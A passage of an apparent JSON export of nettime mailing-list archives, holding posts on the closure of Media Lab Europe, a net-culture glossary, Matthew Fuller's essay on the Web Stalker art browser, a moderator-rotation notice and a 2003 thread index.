moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00054",
                        "date": "Wed, 19 Jan 2005 10:41:05 EST",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1CrSuS&#45;0006o4&#45;RU {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0501/msg00054.html",
                        "content-type": "text/plai",
                        "author_name": "Newmedia",
                        "subject": "Re: <nettime> closure of Media Lab Europ"
                    },
                    {
                        "from": "daniel perlin <daniel {AT} undividedproductions.org>",
                        "content": "\nAlthough I am inclined to agree with many of the observations below, as they\nare of course self-evident, I think that Jonah Brucker-Cohen has clearly\ndefined the major problem of media labs in general: isolation from local\nproduction.\n\nI have witnessed the dissolution of various programs and labs over the years\n(STG at Brown was a personal example) and I have to confess that they all\nseem to carry one thing in common: a difficulty in promoting their inclusion\nwithin local communities, as well as a struggle with interdisciplinarity\nwithin academic environments. This speaks to Ned Rossiter's desire for\nself-sustainable operations based on relations between systems/modes of\nproduction, but I also think it could speak to the invasion of private\ncapital into the academic/experimental environments (ala Eric Miller's\nobservations).\n\nHowever, speaking from a position of privilege within an academic\nenvironment steeped with corporate support (NYU, ITP), I can comfortably\nclaim that I feel little or no pressure to succumb to the monsters that feed\nthe machine within which I produce work. To the contrary, I feel a certain\npleasure at knowing that they (the Intels, Mattels etc.) feed artistic and\nexperimental production of ideas and media practices. ITP's survival, I\nbelieve, is due in part to its location within a large community of\npracticing artists and designers both within academia as well as, though not\nlimited to, 'outside' practicing communities. Its unique position as an\ninstitution located in New York should not make it an exception to the norm,\nas I believe that the model for a lab or program is one that consciously and\nenthusiastically attempts to integrate itself into its local environment.\n\nMedia artists and theorists need to 'put themselves out there,' as this will\nhelp assure funding as well as encourage local attendance and participation.\nAs Brucker-Cohen observes:\n\n>In the end, MLE probably lost out more because of its failure to integrate\n>more closely with local institutions, rather than any poor quality of\n>research, etc...\n\nAt the risk of sounding redundant, I believe that a trojan horse strategy is\nstill possible if a grassroots base is established at a local level.\nCorporations want to believe that they are disseminating their brand on the\nlocal sphere, and what better way than through local forms of representation\nbeing supported by the once hermetically sealed LAB. WHAT gets made can\ncertainly be a 'wolf in sheep's clothing' if done with local support, and\nwith the capital of a large institution, perhaps even a more effective\nattack can be waged than a small scale intervention.\n\nI realize that this carries with it naivete and a certain dated utopianism,\nbut the lab, I believe, should not fall the way of the '90's' as someone\nmentioned, but needs to be refigured to hold itself responsible for the\ncommunities within which it physically operates.\n\n--daniel perlin\n\n\nOn 1/19/05 11:52 AM, \"E. Miller\" <subscriptionbox {AT} squishymedia.com> wrote:\n\n> this is a great question.  and not just for tactical media; look at,\n> say, the pharmaceutical industry (no hissing, please) where one could\n> argue that the decades-long erosion of institutional support for\n> longer-term research and the focus on short-term profits has resulted\n> in a dysfunctional R&D environment -- profitable in the short term,\n> but with a lack of new viable drugs in the pipeline.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00057",
                        "date": "Wed, 19 Jan 2005 23:50:54 -0500",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1CsMQU&#45;0006Jn&#45;2c {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0501/msg00057.html",
                        "content-type": "text/plai",
                        "author_name": "daniel perlin",
                        "subject": "Re: <nettime> closure of Media Lab Europ"
                    }
                ],
                "message-id": "E1CrFxW&#45;0007ZJ&#45;W2 {AT} bbs.thing.net",
                "date": "Wed, 19 Jan 2005 13:27:13 +0000",
                "content-type": "text/plai"
            }
        ],
        "desc": "..."
    },
    "Meandre (Texts)": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "alex {AT} rhizome.org (alex galloway)",
                "id": "00095",
                "content": "\nAlgorithm--a repetitive logical sequence or calculation used to analyze or\nmove through quantities of data.\n\nBiometrics--the practice of determining truth or authenticity through the\nmeasurement or analysis of supposedly unique characteristics of the body.\nThis commonly includes such techniques as fingerprinting, DNA sequencing\nand retinal scans.\n\nBrowser--an application for interpreting HTML and other media formats. The\nbrowser is an assembler or machine that pulls together content from\ndisparate sources and arranges it for the requesting user. The browser is a\nkind of filter, something that includes, excludes and organizes content.\nSee Object, Protocol.\n\nCollaborative Filtering--the practice of recording a user's profile and\nthen interpolating new characteristics of that user (often their likes or\ndislikes) based on algorithmic analyses of the mass of all user profiles\ncollected. Sometimes referred to as \"suggestive filtering.\" See Algorithm,\nProtocol.\n\nCollider--a \"ready-made\" interaction or refiltering of web sites or bits of\ndata.\n\nCommunity--a group of users that interact due to a shared interest or goal.\n\nContentbase--an indexed archive of digital objects including images, texts\nand rich media formats. See Object.\n\nHTML--Hypertext Markup Language, or the practice of marking up text files\nwith basic layout instructions. HTML designates the arrangement of\ndissimilar objects (texts, images, animations, http behaviors, etc.) in a\nbrowser. See Object, Protocol, Browser.\n\nInformation Map--the act of creating a visual interface for qualitative\ninformation, usually with a goal of displaying and navigating this\ninformation.\n\nNetspace--in virtual spaces, the production of a sense of volume or\nenclosure through the imaginary manipulation of imaginary boundaries.\nNetspace may be \"local,\" limiting the imagination of the user to one page,\none piece of hardware or one narrative, or \"abstract,\" opening the user to\nlarge expanses of media.\n\nObject--a basic unit of content. Objects may be texts, images, animations,\napplets, textures, behaviors, etc. May be subdivided into \"textobject,\"\n\"imageobject,\" etc.\n\nParticipation--a digital interaction that requires input from a user or\nusers, be it active (personal data or choices) or passive (IP address).\n\nProtocol--the universal description language for digital objects that\nregulates their flow, positions them in netspace and codes their\nrelationships. See Object.\n\nTactical Media--software, hardware, or networks that are political or\nstrategic.\n\nTelepresence--the ability to act or present oneself from a distance through\nthe use of technology.\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Wed, 23 Sep 1998 23:21:39 -0800",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809240557.GAA21967 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00095.html",
                "list": "nettime_l",
                "author_name": "alex galloway",
                "subject": "<nettime> glossary items from RHIZOME"
            },
            {
                "content-type": "text/plai",
                "from": "att {AT} axia.demon.co.uk (Matthew Fuller)",
                "id": "00003",
                "content": "\nA file is dropped into the unstuffer.  The projector is opened.  The hard\ndrive grinds.  The screen goes black.  The blacked out screen is a reverse\nnihilist moment.  Suddenly everything is there.\n        A brief description of the functions of the Web Stalker is\nnecessary as a form of punctuation in this context, but it can of course\nonly really be fully sensed by actual use10.  Starting from an empty plane\nof colour, (black is just the default mode - others are chosen using a\npop-up menu) the user begins by marqueeing a rectangle.  Using a contextual\nmenu, a function is applied to the box.  The box, a generic object, is\nspecialised into one of the following functions.  For each function put\ninto play, one or more box is created and specialised\n        Crawler:  The Crawler is the part of the Web Stalker that actually\nlinks to the World Wide Web. It is used to start up, and to show the\ncurrent status of the session.  It appears as a window containing a bar\nsplit into three.  A dot moving across the bar shows what stage the Crawler\nis at. The first section of the bar shows the progress of the Net\nconnection. Once connection is made and a URL is found, the dot jumps to\nthe next section of the bar. The second section displays the progress of\nthe Web Stalker as it reads through the found HTML document looking for\nlinks to other URLs. The third section of the bar monitors the Web Stalker\nas it logs all the links that it has found so far.  Thus, instead of the\nuser being informed that connection to the net is vaguely 'there' by\nmovement on the geographic TV-style icon in the top right hand corner the\nuser has access to specific information about processes and speeds.\n        Map: Displays references to individual HTML documents as circles\nand the links from one to another as lines. The URL of each document can be\nread by clicking on the circle it is represented by.  Once a Web session\nhas been started at the first URL opened by the Crawler, Map moves through\nall the links from that site, then through the links from those sites, and\nso on.  The mapping is dynamic - 'Map' is a verb rather than a noun.\n        Dismantle:  The Dismantle window is used to work on specific URLs\nwithin HTML documents. URLs at this level will be specific resources such\nas images, email addresses, sound files, downloadable documents, etc.\nClicking and dragging a circle into the Dismantle window will display all\nURLs referenced within the HTML document you have chosen, again in the form\nof circles and lines.\n        Stash:  The Stash provides a document format that can be used to\nmake records of web use. Saved as an HTML file it can also be read by\n'Browsers' and circulated as a separate document.  Sites or files are\nincluded by dragging and dropping URL circles into a Stash.\n        HTML Stream:  Shows all of the HTML as it is read by the Web\nStalker in a separate window.  Because as each link is followed by the\ncrawler the HTML appears precisely as a stream, the feed from separate\nsites is effectively mixed.\n        Extract:  Dragging a URL circle into an extract window strips all\nthe text from a URL.  It can be read on screen in this way or saved as a\ntext file.\n\nAny statement of function, whilst satisfactorily acting as a notice of\nconcrete reality which functions to attract and displace energies and\ndynamics of many sorts, is never of course sufficient.  If they work, such\nconstructions are always spilling over and mobilising more.\n        The Web Stalker performs an inextricably technical, aesthetic and\nethical operation on the HTML stream that at once refines it, produces new\nmethods of use, ignores much of the data linked to or embedded within it,\nand provides a mechanism through which the deeper structure of the web can\nbe explored and used.\n        This is not to say much.  It is immediately obvious that the\nStalker is incapable of using images and some of the more complex functions\navailable on the web.  These include for instance: gifs, forms, Java, VRML,\nframes, etc.  Some of these are deliberately ignored as a way of trashing\nthe dependence on the page and producing a device that is more suited to\nthe propensities of the network.  Some are left out simply because of the\nconditions of the production of the software - we had to decide what was\nmost important for us to achieve with available resources and time.  This\nis not to say that if methods of accessing this data were to be\nincorporated into the Stalker that they would have been done so 'on their\nown terms'.  It is likely that at the very least they would have been\ndismantled, dissected, opened up for use in some way.\n        Another key factor in the shape of the program and the project as a\nwhole is the language it was written in: Lingo, the language within\nMacromedia Director - a program normally used for building multimedia\nproducts and presentations.  This is to say the least a gawky angle to\napproach writing any application.  But it was used for two reasons - it\ngave us very good control over interface design and because NetLingo was\njust being introduced, but more importantly because within the skill-base\nof I/O/D, that was what we had.  That it was done anyway is, we hope, an\nencouragement to those who have the 'wrong' skills and few resources but a\nhunger to get things done, and a provocation to those who are highly\nskilled and equipped but never do anything.\n\nWhilst the Web Stalker's mode of production was independent, its modes of\ncirculation were aimed to be as heterogeneous as possible.  Previous issues\nof I/O/D  were aimed at relatively small though diffuse underground\nnetworks of distribution.  They got around extremely well by word of mouth\nand not much more.\n        This time, because we thought the project was timely and of\npotential interest to a wider range of people we adopted a strategy of\nattempting to assimilate to or impose the project on a variety of discourse\nnetworks and movements.  These included discourses with established media\nstructures and institutions but also more tentative, non-codified cultures\nof use that emerge around softwares.\n\nPrevious to the Web Stalker, work by artists on the web was channelled into\nproviding content for web sites.  These sites are bound by the conventions\nenforced by browser-type software.  They therefore remain the most\ndetermining aesthetic of this work.  The majority of web-based art, if it\ndeals with its media context at all can be understood by four brief\ntypologies:\n        incoherence (user abuse, ironic dysfunctionality, randomness to\nmask pointlessness)\n        archaeology (media archaeology, emulators of old machines and\nsoftware, and structuralist materialist approach)\n        retro-tooling (integrity to old materials in 'new' media, integrity\nas kitsch derived from punk/jazz/hip hop, old-style computer graphics, and\n'filmic references' - the Futile Style Of London11)\n        deconstruction (conservative approach to analysing-in-practice the\ndevelopment of multimedia and networks, consistently re-articulating\ncontradiction rather than using it as a launching pad for new techniques of\ncomposition).\n\nWithin the discourse networks of art, including critical technique; license\nto irresponsibility; compositions-in-progress of taste stratification and\nbreaks; institutions; finance; individual survival strategies; media;\nsocial networks; legitimation devices; at least potential openness to new\nforms; and avowed attentiveness to manifestations of beauty, there were\ndynamics that were useful to mobilise in order to open up possibilities of\ncirculation and effect for the Web Stalker.  However, at the same time as\nthe project was situated within contemporary art, it is also widely\noperative outside of it.  Most obviously it is at the very least, a piece\nof software.  How can this multiple position be understood by an art-world\nthat is still effectively in thrall to the notion of the autonomy of the\nobject?\n        Anti-art is always captured by its purposeful self-placement within\na subordinate position to that which it simply opposes.  Alternately, the\ndeliberate production of non-art is always an option but not necessary in\nthis context, (let those crumbs fall off the table, they look starved).\nInstead, this project produces a relationship to art that at times works on\na basis of infiltration or alliance, and at others simply refuses to be\nexcluded by it and thus threatens to reconfigure entirely what it is part\nof.  The Web Stalker is art. Another possibility therefore emerges.\nAlongside the categories art, anti-art and non-art, something else spills\nover: not-just-art.\n        Of course, once this ploy is opened and proliferates it becomes\napparent that it quickly colonises all of what sees itself as art and\nnothing but simply by virtue of acknowledging its integration into other\nsystems - of valorisation, decoration, sociality etc.  By the same token it\nalso opens up what is categorised as non-art to the descriptive, critical,\nde-responsibilising and other potentially less fruitful qualities and\noperations of art.  Tormented by wanna-be-loved negativism, anti-art as a\ncategory subsumed within art just about retains its desk at the Ministry of\nCulture.\n\nJust as the Stalker is not-just-art, it can only come into occurrence by\nbeing not just itself.  It has to be used.  Assimilation into possible\ncircuits of distribution and effect in this case means something\napproaching a media strategy.\n        \"For modernist intellectuals, cultural capital or distinction in\nBourdieau's sense varies inversely with one's contact with the media\"12\nOperating at another level to the Web Stalker's engagement within art were\ntwo other forms of media which were integral to the project:  stickers\n(bearing a slogan and the I/O/D URL) and Freeware.  Both are good\ncontenders for being the lowest, most despised grade of media.  That the\nWeb Stalker is Freeware has been essential in developing its engagement\nwith various cultures of computing.\n        The Stalker is currently being downloaded at a rate of about a\nthousand copies per week.  Responses have ranged from intensely detailed\nmathematical denunciations of the Map and a total affront that anyone\nshould try anything different; to evil glee, and a superb and generous\nunderstanding of the project's techniques and ramifications.\n        Whilst for many, the internet simply is what is visible with a\nbrowser, at the same time it is apparent that there is a widespread desire\nfor new non-formulaic software.  One of the questions that the Stalker\nposes is how program design is taken forward.  Within the limitations of\nthe programming language and those of time, the project achieved what it\nset out to do.  As a model of software development outside of the\nsuper-invested proprietary one this speculative and interventional mode of\nproduction stands alongside two other notable radical models: that of Free\nSoftware13 and that derived from the science shops, (wherein software is\ndeveloped by designers and programmers in collaboration with clients for\nspecifically social uses).  Unlike these others it is not so likely to find\nitself becoming a model that is widely adoptable and sustainable.\n        In a sense then, the web stalker works as a kind of 'tactical\nsoftware'14 but it is also deeply implicated within another kind of\ntacticity - the developing street knowledge of the nets.  This is a sense\nof the flows, consistencies and dynamics of the nets that is most closely\nassociated with hackers, but that is perhaps immanent in different ways in\nevery user.\n        Bringing out and developing this culture however demands attention.\nIn some respects this induction of idiosyncratic knowledges of minute\neffects ensures only that whilst the Browser Wars will never be won, they\nare never over.  So long as there's the software out there working its\ntemporal distortion effects on 'progress'=8A  So long as there's always some\nnutter out there in the jungle tooled up with some VT100 web viewer, copies\nof Mosaic, Macweb, whatever..\n        At the same time we need to nurture our sources of this ars\nmetropolitani of the nets.  During recent times and most strongly because\nof the wider effects of specific acts of repression, hacking itself has\noften become less able to get things going because it has a) been driven\nmore underground, b) been offered more jobs, and c) been less imaginatively\nwilling or able to ally itself with other social currents.\n\nSoftware forges modalities of experience - sensoriums through which the\nworld is made and known.  As a product of 'immaterial labour' software is a\nsocial, technical and aesthetic relation that is embodied - and that is at\nonce productive of more relations.  That the production of value has moved\nso firmly into the terrain of immaterial labour, machine embodied\nintelligence, style as factory, the production of subjectivity, makes the\nevolution of what was previously sectioned as 'culture' so much more\nvaluable to play for - potentially always as sabotage - but , as a\ndevelopment of the means of mutation, most compellingly as synthesis.\n\n        Synthesis is explicitly not constitutive of a universe of\nsynchronisation and equivalence where everything connects to everything.\nPromising nothing but reconstitutive obliteration to 'worlds' where\neverything means only one thing:  virtual office, virtual pub, virtual\ngallery, virtual night-club, however many more sonic gulags passing as\nvirtual mixing decks.  What is so repulsive about this nailed-down\nfaithfulness  is not so much that its darkside is about as disturbing as a\nblack-light lightbulb, or that it presents a social terrain which has been\nbounced clean by the most voracious of doormen - the miserable\nconsciousnesses of its producers - but that it is continually dragging this\nspace of composition, network, computer, user, software, socius, program\nproduction, back into the realm of representation, the dogged circular\nchurning of avatars through the palace of mundane signs, stiffs reduced if\nat all possible to univocal sprites, rather than putting things into play,\nrather than making something happen.\n        Synthesis incorporates representation as a modality.\nRepresentation is not replaced but subsumed by the actualisation of ideas\nand the dynamism of material through which, literally 'in the realm of\npossibility', it becomes contingent.  But this is not to trap synthesis\nwithin the 'inherent' qualities of materials.  'Truth to materials'\nfunctions at once as both a form of transcendence through which by the\npurest of imputations interpretative schema can pluck out essences and as a\nform of repressively arch earnestness.  This is a process of overflowing\nall ideal categories.\n\nThe Map makes the links between HTML documents.  Each URL is a circle,\nevery link is a line.  Sites with more lines feeding into them have\nbrighter circles.  Filched data coruscating with the simple fact of how\nmany and which sites connect to boredom.com, extreme.net or wherever.\n(Unless it's been listed on the ignore.txt file customisable and tucked\ninto the back of the Stalker).  Every articulation of the figure composing\nitself on screen is simply each link being followed through.  The map\nspreads out flat in every direction, forging connections rather than faking\nlocations.  It is a figuration that is immutably  live.  A processual\nopening up of the web that whilst it deals at every link with a determinate\narrangement has no cut-off point other than infinity.  Whilst the Browser\njust gives you history under the Go menu, the Map swerves past whichever\nbit of paper is being pressed up to the inside of the screen to govern the\nnext hours of click-through time by developing into the future - picking\nlocks as it goes.\n\n        From there, in unison with whichever of the other functions are\napplied, a predatory approach to data is developed.  Sites are dismantled,\nstored, scanned to build up other cultures of use of the nets.  That the\nsoftware is cranky, that things become alien, that it is not the result of\nyears of flow-charted teams, that it forces (horrific act) PC users to use\nalt, ctrl, delete to quit the program is not in question.\n        All the while, synthesis keeps running, keeps mixing.  Producing\nsensoriums, modes of operation, worldviews that are downloadable (that is\nboth traceable and open), mixable, measurable, assimilable  (but not\nwithout risk of contamination), discardable, perhaps even immersive.  This\nis a poetics of potential that is stringent - not just providing another\nvector for perpetually reactive opportunism - yet revelling in the\npossibility always also operating within the most intensified sounds: a\nhardcore methodology.\n        Aggregates are formed from the realm induced by the coherence of\nevery possibility.  Syntactics tweaks, examines and customs them according\nto context.  This context is not pre-formatted.  It is up for grabs, for\nremaking.  Synthesis determines a context within which it is constitutive\nand comes into composition within ranges of forces.  Everything - every\nbit, every on or off fact - is understood in terms of its radical\ncoefficiency, against the range of mutation from which it emerged and\namongst the potential syntheses with which it remains fecund.  It is the\nproduction of sensoria that are productive not just of 'worlds' but of the\nworld.\n1  Only an ostensible competitor because the browsers produced by Netscape\nand Microsoft are so nearly identical that they form, not an economic, but\na technical and aesthetic monopoly.  It will be interesting to see whether\nthe release of the source code for Netscape Navigator will also produce a\nrelease from the conventions of the browser.\n2 Again because of its near monopoly over PC Operating Systems Microsoft\nwas able to set the terms - against previously made agreements - on which\nJava would be developed.  It is widely agreed that they - and to some\nextent, Sun - significantly compromised the actual and potential power of\nthe language.\n3  Resources on the ECHELON system are available at:\nhttp://www.xs4all.nl/~konfront\nhttp://caq.com/CAQ/CAQBackIssues.htm\n4  for instance the I/O/D shout tag.  <IOD4> is a HTMLish element that is\nonly recognised by the Web Stalker. Usage:  <IOD4 [attributes]> (there is\nno closing tag for this element).   Attributes: The Web Stalker will read\nyour HTML document and display your 'SHOUT' message in a field in the top\nleft of the Web Stalker window.  This message can't be read by Web\n'Browsers', so make the most of it. <IOD4 SHOUT=3D\"any text you want\ndisplayed to Web Stalker users\" >\n5 see for instance the skirmishes around name ownership produced in the\nnet.art hijacking of corporate names by Heath Bunting and Rachel Baker at\nirational.org, (http://www.irational.org) or at the other extreme, the\nattempts at the technical introduction of a precise indexicality when a\nbrand name is typed into a browser by Centraal (http://www.realnames.com)\n6  Maurizio Lazzarato, Immaterial Labor, in Michael Hardt and Paul Virno,\nRadical Thought in Italy: A Potential Politics, Minnesota University Press,\nMinneapolis, 1996, p.142\n7  Lazzarato, p.142\n8  The device's advantage is in its ease of use -compared for instance to\nthe tiresome delete command in DOS - rather than any 'natural' affiliation\nwith this metaphor.\n9  Simon Pope, Colin Green, Matthew Fuller\n10  The I/O/D homepage from which all the group's output, including PC and\nMacintosh versions of the Web Stalker are available from is provided by\nBackspace:  http://www.backspace.org/iod\n11  See FSOL section on I/O/D site\n12  Mark Poster, The Second Media Age. Polity Press 1997, p.5\n13  Free Software Foundation - http://www.fsf.com\nThe reasons the I/O/D did not in this case follow the FSF model of free\nsoftware are relatively simple.  Whilst as a structure it undoubtedly works\nand we are supportive of it, it is an economy that demands a developing\ncritical mass to work.  This is happening for programmers working with\nlarger computers.  With the increasing use of Linux (see Linus Torvald's\nhomepage: <http://www.earthspace.net/~esr/faqs/linus>), it is also\nhappening for Personal Computers which is the scale we are working on.\nHowever, there is no comparable economy working for the exchange of Lingo\ncode.  This is of course because Director is designed to produce\nhermetically sealed routines called 'projectors'.  If the code for the\nStalker was to have been distributed under Copyleft, there would have been\nno way of enforcing that its use continue to remain open as this is such an\neasy method of invisble incorporation.\n14  see 'The ABC of Tactical Media', Geert Lovink and David Garcia.\nhttp://www.waag.org/tmn/\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Sat, 2 May 1998 09:55:36 +0000",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199805021824.TAA28268 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9805/msg00003.html",
                "list": "nettime_l",
                "author_name": "Matthew Fuller",
                "subject": "<nettime> a means of mutation 2/2"
            }
        ],
        "desc": "..."
    },
    "List talking to List": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "\"nettime's_rotating_moderators\" <nettime-l {AT} bbs.thing.net>",
                "id": "00047",
                "content": "\n\n\n\n                                 /\n                               [5]\n                               /\n                                                \\\n                                     \u00b0\u00b0\u00b0\u00b0\u00b0\u00b0     [3]\n                                   \u00b0\u00b0      \u00b0\u00b0     \\\n                                 \u00b0\u00b0 -[2]-    \u00b0\u00b0\n                                \u00b0              \u00b0\n                                \u00b0              \u00b0\n                                \u00b0       -[1]-  \u00b0\n                                \u00b0              \u00b0\n              |                  \u00b0\u00b0          \u00b0\u00b0\n             [?]                   \u00b0\u00b0      \u00b0\u00b0\n              |                      \u00b0\u00b0\u00b0\u00b0\u00b0\u00b0        /\n                                                 [4]\n                                                 /\n\n                                                                       \u00b0\n                                                                        \u00b0\n                                                                         \u00b0\n                                                                    \u00b0 \u00b0 \u00b0 \u00b0\n                          \\                                         \u00b0 \u00b0 \u00b0 \u00b0\n                          [?]                                       \u00b0 \u00b0X\u00b0 \u00b0\n                            \\                                       \u00b0X\u00b0 \u00b0 \u00b0\n                                                                    \u00b0 \u00b0 \u00b0X\u00b0\n                                                                     \u00b0 \u00b0 \u00b0\n\n\n\n               /* please press arrow keys to rotate moderators */\n\n\n\n                [1] Scot McPhee <scot {AT} autonomous.org>\n\n                [2] Sebastian Luetgert <sebastian {AT} rolux.org>\n\n                [3] Geert Lovink <geert {AT} xs4all.nl>\n\n                [4] Ted Byfield <tbyfield {AT} panix.com>\n\n                [5] Felix Stalder <stalder {AT} fis.utoronto.ca>\n\n                [?] moderators temporarily out of orbit\n\n\n\n                [X] your messages\n\n\n\n                [1]\n\n                \"Hi, I'm Scot Mcphee, one of your new nettime\n                moderators. I'm the sysadm of Autonomous\n                Organisation (autonomous.org), based in Sydney\n                Australia. During the day I work as a computer\n                professional type for the international\n                capitalist futures industry. Oh yes, it gets\n                worse. I have military training.\"\n\n                [2]\n\n                \"Hi, I'm Sebastian Luetgert, another one of\n                your new nettime moderators. I'm running ROLUX\n                (http://www.rolux.org) and the <rolux> mailing\n                list, both based in Berlin, Germany. I have some\n                gifs of Debord, Deleuze, Foucault and Godard\n                stored on my local hard disk drive and recently\n                installed a copy of SimCity 3000.\"\n\n                [3]\n\n                \"Hi, I'm Geert Lovink, an Amsterdam born and\n                based media theorist and activist, member of\n                Adilkno, co-founder of the nettime mailinglist,\n                moderator of the dutch nettime-nl list and\n                co-organizer of the Next Five Minutes\n                conferences on tactical media. Lately I am\n                involved in further developing the format of the\n                so-called temporary media labs.\"\n\n                [4]\n\n                \"Hi, I'm t byfield. I spend my time hammering\n                away on writing, both my own and others'. My\n                legal place of residence is in New York City,\n                but I'm rarely seen there (or anywhere else).\"\n\n                [5]\n\n                \"Hi, I'm Felix Stalder. I'm a third generation\n                nettime moderator. I'm usually in Toronto\n                wrestling with objects. My hard disk contains\n                two folders called 'misc'. I like ordering\n                systems though I'm not very good at them.\"\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Tue, 9 Nov 1999 13:29:39 -0500",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199911091749.MAA25270 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00047.html",
                "list": "nettime_l",
                "author_name": "nettime's_rotating_moderators",
                "subject": "<nettime> moderation rotation"
            },
            {
                "content-type": "text/plai",
                "from": "Bruce Sterling <bruces {AT} well.com>",
                "id": "00126",
                "content": "\nGeert Lovink remarks:  \"The nettime project in my\nview has come to halt a long time ago and has transgressed into an ordinary\nmajordomo mailinglist only model which is indeed free of cost.\"\n\nI don't want to trouble Geert with this conundrum, but if there\nis any OTHER \"ordinary majordomo\" list that concerns itself with\nthe following utterly wack, bonkers, yet peculiarly relevant series of \ntopics, man, I need-to-know about it.  Okay?  Clue me in pronto.\n\nI have not yet given Rhizome five dollars, but I think I may be\nwilling TO PERSONALLY OFFER FIVE DOLLARS to each nettimer with\na well-thought-out essay on why this is (a) bad (b) thievery\nor (c) simpleminded and impossible.  The only caveat: in exchange\nyour five dollars, you have to promise that, after writing it,\nyou DON'T PUBLISH THAT COMPLAINT ON NETTIME, or, in fact anywhere else.\n\nIf I accumulate enough of these, I am thinking a small but\nexquisite leatherbound collector's edition with tipped-in plates\nand a satin ribbon.\n\nbruces\n\n\nnettime-l Jan 03 by Thread\n\nMessages are listed by thread. The last update was on 23:00 GMT Sat Jan 25.\n  There are 122 messages.\n[Date Index] [Other Lists] [Home]\n------------------------------------------------------------------------\n\n*<nettime> Koerner: Why American teens don't want the new cell phones geert \nlovink\n*Re: <nettime> wireless commons digest [stalder, elloi] Brett Shand\n*Re: <nettime> Religious Sect Announces First Cloned Baby Paul Brown\n*<nettime> WiFiCo [weisman, elloi] nettime's_waterloo_monger\n*<nettime> 2003 20th Anniversary of cutover from ncp/ARPANET to TCP/IP \nInternet Ronda Hauben\n*<nettime> Scatter(ed) Dynamics (text): audio.culture.theory tim jaeger\n*<nettime> Colombia: Rebels Embrace New Technology Krystian Woznicki\n*<nettime> From Korean Central News Agency of DPRK Alan Sondheim\n*<nettime> M.I.T. Studies Accusations of Lies and Cover-Up of Flaws \ninAntimissile System David Mandl\n*<nettime> BytesForAll * 04012003 Frederick Noronha\n*<nettime> Mystery Man Revealed in Microsoft Xbox Hack Contest Rachel Greene\n*<nettime> The War of Time bc\n*<nettime> FUCK HIP HOP: A Eulogy to Hip Hop Paul D. Miller\n*<Possible follow-ups>\n*Re: <nettime> FUCK HIP HOP: A Eulogy to Hip Hop McKenzie Wark\n*<nettime> Re: A Eulogy to Hip Hop Danny Butt\n*<nettime> Vietnam: Cyber-dissident jailed for 12 years (rsf) geert lovink\n*<nettime> Events [9x] Announcer\n*<nettime> unstable digest vol 28 Florian Cramer\n*<nettime> WiFiCo2 digest [elloi, albert] nettime's_ruminant\n*<nettime> Fwd: Bush II Never President, Historians Conclude Bruce Sterling\n*<nettime> hip hop eulogy digest [myers, eduardo] nettime_preacha\n*<nettime> hip hop eulogy digest ctd. [greene, miller] nettime\n*<nettime> Tehelka crushed by the power elite Bruce Sterling\n*<nettime> hop hip digest [fusco, williams, porculus, butt] \nnettime_mixmaster_discourse\n*<nettime> hip hop digest vol. 4 [sonar radar, eyescratch, mcgee] nettime\n*<nettime> Zapatista speeches, January 1st 2003 + 20,000 Zapatistas \"take\"\n  San Cristobal,Jan 06 ricardo dominguez\n*<nettime> hip hop digest vol. 5 [Guderian, Wark] nettime's digestion\n*<nettime> hip hop digest vol. 6 [levesque, buhard] nettime\n*<nettime> zapatate speech, right now porculus\n*<nettime> the ABZ of the Copenhagen Free University matthew fuller\n*<nettime> Jo & Bruce: Community Radio in Afghanistan geert lovink\n*<nettime> Perry Anderson on the upcoming war Patrice Riemens\n*<Possible follow-ups>\n*Re: <nettime> Perry Anderson on the upcoming war Sawad\n*<nettime> re: Bennu's piece Mendi Obadike\n*Re: <nettime> hip hop (in)digestion Are Flagan\n*<nettime> Fw: //surveillance// Many tools of Big Brother are up and \nrunning wade tillett\n*<nettime> fwd: [IRR] US DTV: the battle is joined t byfield\n*<nettime> sms(SMUT-system) use at WTO meeting - sydney dr.woooo\n*<nettime> hip-hop digest dr.woooo\n*<nettime> Bennu's piece & hip-hop digest Paul D. Miller\n*<nettime> Announcements [9x] Announcer\n*<nettime> Artificial Perception as Reality Check twsherma\n*<nettime> Critics Call Digital Activation Intrusive Jim Fleming\n*<nettime> Events [11x] Announcer\n*<nettime> the strange mess of paul's global hip-hop eulogy digest [butt, \ntownsend, mcgee] nettime's_gang\n*<nettime> Battered Summit-Hoppers Cordially Overlooked Bruce Sterling\n*<nettime> Woah, that's some culture-jam Bruce Sterling\n*<nettime> Tactical Media & Conflicting 